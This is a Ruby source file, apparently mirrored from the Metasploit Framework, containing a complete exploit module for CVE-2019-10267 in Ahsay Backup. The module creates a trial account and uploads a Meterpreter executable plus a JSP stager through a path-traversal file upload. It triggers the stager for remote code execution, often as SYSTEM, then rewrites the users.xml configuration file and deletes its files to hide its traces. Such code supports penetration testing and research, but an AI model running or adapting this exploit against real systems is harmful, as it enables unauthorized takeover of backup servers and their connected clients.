CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/ahsay_backup_fileupload.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::EXE
10
include Msf::Exploit::FileDropper
11
include REXML
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
16
'Description' => %q{
17
This module exploits an authenticated insecure file upload and code
18
execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
19
the upload credentials are needed, default on Ahsay Backup trial
20
accounts are enabled so an account can be created.
21
22
It can be exploited in Windows and Linux environments to get remote code
23
execution (usualy as SYSTEM). This module has been tested successfully
24
on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
25
flaw all connected clients can be configured to execute a command before
26
the backup starts. Allowing an attacker to takeover even more systems
27
and make it rain shells!
28
29
Setting the CREATEACCOUNT to true will create a new account, this is
30
enabled by default.
31
If credeantials are known enter these and run the exploit.
32
},
33
'Author' =>
34
[
35
'Wietse Boonstra'
36
],
37
'License' => MSF_LICENSE,
38
'References' =>
39
[
40
[ 'CVE', '2019-10267'],
41
[ 'URL', 'https://www.wbsec.nl/ahsay/' ],
42
[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
43
],
44
'Privileged' => true,
45
'Platform' => 'win',
46
'DefaultOptions' => {
47
'RPORT' => 443,
48
'SSL' => true,
49
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
50
},
51
'Targets' =>
52
[
53
[ 'Windows x86',
54
{
55
'Arch' => ARCH_X86,
56
'Platform' => 'win'
57
}
58
],
59
[ 'Linux x86', # should work but untested
60
{
61
'Arch' => ARCH_X86,
62
'Platform' => 'linux'
63
},
64
],
65
66
],
67
'DefaultTarget' => 0,
68
'DisclosureDate' => '2019-06-01'))
69
70
register_options(
71
[
72
Opt::RPORT(443),
73
OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
74
OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
75
OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),
76
OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
77
OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
78
79
])
80
end
81
82
def is_trial_enabled?
83
res = send_request_cgi({
84
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
85
'method' => 'POST',
86
'data' => ''
87
})
88
if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
89
return true
90
else
91
return false
92
end
93
end
94
95
def check_account?
96
headers = create_request_headers
97
res = send_request_cgi({
98
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),
99
'method' => 'POST',
100
'data' => '',
101
'headers' => headers
102
})
103
if res and res.code == 200
104
print_good("Username and password are valid!")
105
return true
106
elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
107
# fail_with(Failure::NoAccess, 'Username incorrect!')
108
print_status("Username does not exist.")
109
return false
110
elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
111
# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
112
print_status("Username exists but password incorrect!")
113
return false
114
else
115
return false
116
end
117
end
118
119
def create_request_headers
120
headers = {}
121
username = Rex::Text.encode_base64(datastore['USERNAME'])
122
password = Rex::Text.encode_base64(datastore['PASSWORD'])
123
headers['X-RSW-custom-encode-username'] = username
124
headers['X-RSW-custom-encode-password'] = password
125
headers
126
end
127
128
def exploit
129
username = datastore['USERNAME']
130
password = datastore['PASSWORD']
131
132
if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
133
if username == "" or password == ""
134
fail_with(Failure::NoAccess, 'Please set a username and password')
135
else
136
#check if account does not exist?
137
if !check_account?
138
# Create account and check if it is valid
139
if create_account?
140
drop_and_execute()
141
else
142
fail_with(Failure::NoAccess, 'Failed to authenticate')
143
end
144
else
145
#Need to fix, check if account exist
146
print_good("No need to create account, already exists!")
147
drop_and_execute()
148
end
149
end
150
elsif username != "" and password != ""
151
if check_account?
152
drop_and_execute()
153
else
154
if is_trial_enabled?
155
fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
156
end
157
fail_with(Failure::NoAccess, 'Username and password are invalid')
158
end
159
else
160
fail_with(Failure::UnexpectedReply, 'Missing some settings')
161
end
162
end
163
164
def create_account?
165
headers = create_request_headers
166
res = send_request_cgi({
167
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'),
168
'method' => 'POST',
169
'data' => '',
170
'headers' => headers
171
})
172
# print (res.body)
173
if res and res.code == 200
174
print_good("Account created")
175
return true
176
elsif res.body.include?('LOGIN_NAME_IS_USED')
177
fail_with(Failure::NoAccess, 'Username is in use!')
178
elsif res.body.include?('PWD_COMPLEXITY_FAILURE')
179
fail_with(Failure::NoAccess, 'Password not complex enough')
180
else
181
fail_with(Failure::UnexpectedReply, 'Something went wrong!')
182
end
183
end
184
185
def remove_account
186
if datastore['CREATEACCOUNT']
187
username = datastore['USERNAME']
188
users_xml = "../../conf/users.xml"
189
print_status("Looking for account #{username} in #{users_xml}")
190
xml_doc = download(users_xml)
191
xmldoc = Document.new(xml_doc)
192
el = 0
193
xmldoc.elements.each("Setting/Key") do |e|
194
el = el + 1
195
e.elements.each("Value") do |a|
196
if a.attributes["name"].include?('name')
197
if a.attributes["data"].include?(username)
198
print_good("Found account")
199
xmldoc.root.elements.delete el
200
print_status("Removed account")
201
end
202
end
203
end
204
end
205
new_xml = xmldoc.root
206
print_status("Uploading new #{users_xml} file")
207
upload(users_xml, new_xml.to_s)
208
print_good("Account is inaccesible when service restarts!")
209
end
210
end
211
212
def prepare_path(path)
213
if path.end_with? '/'
214
path = path.chomp('/')
215
end
216
path
217
end
218
219
def drop_and_execute()
220
path = prepare_path(datastore['UPLOADPATH'])
221
exploitpath = path.gsub("../../webapps/cbs/",'')
222
exploitpath = exploitpath.gsub("/","\\\\\\")
223
requestpath = path.gsub("../../webapps/",'')
224
225
#First stage payload creation and upload
226
exe = payload.encoded_exe
227
exe_filename = Rex::Text.rand_text_alpha(10)
228
exefileLocation = "#{path}/#{exe_filename}.exe"
229
print_status("Uploading first stage payload.")
230
upload(exefileLocation, exe)
231
#../../webapps/cbs/help/en
232
exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}
233
234
#Second stage payload creation and upload
235
jsp_filename = Rex::Text.rand_text_alpha(10)
236
jspfileLocation = "#{path}/#{jsp_filename}.jsp"
237
print_status("Uploading second stage payload.")
238
upload(jspfileLocation, exec)
239
proto = ssl ? 'https' : 'http'
240
url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")
241
242
#Triggering the exploit
243
print_status("Triggering exploit! #{url}" )
244
res = send_request_cgi({
245
'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
246
'method' => 'GET'
247
})
248
if res and res.code == 200
249
print_good("Exploit executed!")
250
end
251
252
#Cleaning up
253
print_status("Cleaning up after our selfs.")
254
remove_account
255
print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
256
delete(exefileLocation)
257
delete(jspfileLocation)
258
delete("../../user/#{datastore['USERNAME']}",true)
259
end
260
261
def upload(fileLocation, content)
262
username = Rex::Text.encode_base64(datastore['USERNAME'])
263
password = Rex::Text.encode_base64(datastore['PASSWORD'])
264
uploadPath = Rex::Text.encode_base64(fileLocation)
265
266
headers = {}
267
headers['X-RSW-Request-0'] = username
268
headers['X-RSW-Request-1'] = password
269
headers['X-RSW-custom-encode-path'] = uploadPath
270
res = send_request_raw({
271
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'),
272
'method' => 'PUT',
273
'headers' => headers,
274
'data' => content,
275
'timeout' => 20
276
})
277
if res && res.code == 201
278
print_good("Succesfully uploaded file to #{fileLocation}")
279
else
280
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
281
end
282
end
283
284
def download(fileLocation)
285
#TODO make vars_get variable
286
print_status("Downloading file")
287
username = Rex::Text.encode_base64(datastore['USERNAME'])
288
password = Rex::Text.encode_base64(datastore['PASSWORD'])
289
headers = {}
290
headers['X-RSW-Request-0'] = username
291
headers['X-RSW-Request-1'] = password
292
res = send_request_cgi({
293
#/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml
294
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'),
295
'method' => 'GET',
296
'headers' => headers,
297
'vars_get' => {
298
'X-RSW-custom-encode-path' => fileLocation
299
}
300
})
301
302
if res and res.code == 200
303
res.body
304
end
305
end
306
307
def delete(fileLocation, recursive=false)
308
print_status("Deleting file #{fileLocation}")
309
username = Rex::Text.encode_base64(datastore['USERNAME'])
310
password = Rex::Text.encode_base64(datastore['PASSWORD'])
311
headers = {}
312
headers['X-RSW-Request-0'] = username
313
headers['X-RSW-Request-1'] = password
314
res = send_request_cgi({
315
#/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz
316
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'),
317
'method' => 'DELETE',
318
'headers' => headers,
319
'vars_get' => {
320
'X-RSW-custom-encode-path' => fileLocation,
321
'recursive' => recursive
322
}
323
})
324
325
if res and res.code == 200
326
res.body
327
end
328
end
329
330
def check
331
#We need a cookie first
332
cookie_res = send_request_cgi({
333
#/cbs/system/ShowDownload.do
334
'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),
335
'method' => 'GET'
336
})
337
338
if cookie_res and cookie_res.code == 200
339
cookie = cookie_res.get_cookies.split()[0]
340
else
341
return Exploit::CheckCode::Unknown
342
end
343
344
if defined?(cookie)
345
#request the page with all the clientside software links.
346
headers = {}
347
headers['Cookie'] = cookie
348
link = send_request_cgi({
349
#/cbs/system/ShowDownload.do
350
'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),
351
'method' => 'GET',
352
'headers' => headers
353
})
354
355
if link and link.code == 200
356
link.body.each_line do |line|
357
#looking for the link that contains obm-linux and ends with .sh
358
if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
359
filename = line.split("<a")[1].split('"')[1].split("?")[0]
360
filecontent = send_request_cgi({
361
#/cbs/system/ShowDownload.do
362
'uri' => normalize_uri(target_uri.path, filename),
363
'method' => 'GET',
364
'headers' => headers
365
})
366
if filecontent and filecontent.code == 200
367
filecontent.body.each_line do |l|
368
if l.include? 'VERSION="'
369
number = l.split("=")[1].split('"')[1]
370
if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
371
if number <= '8.1.1.50' and not number < '7'
372
return Exploit::CheckCode::Appears
373
else
374
return Exploit::CheckCode::Safe
375
end
376
end
377
end
378
end
379
else
380
return Exploit::CheckCode::Unknown
381
end
382
end
383
end
384
else
385
return Exploit::CheckCode::Unknown
386
end
387
else
388
return Exploit::CheckCode::Unknown
389
end
390
391
end
392
end
393
394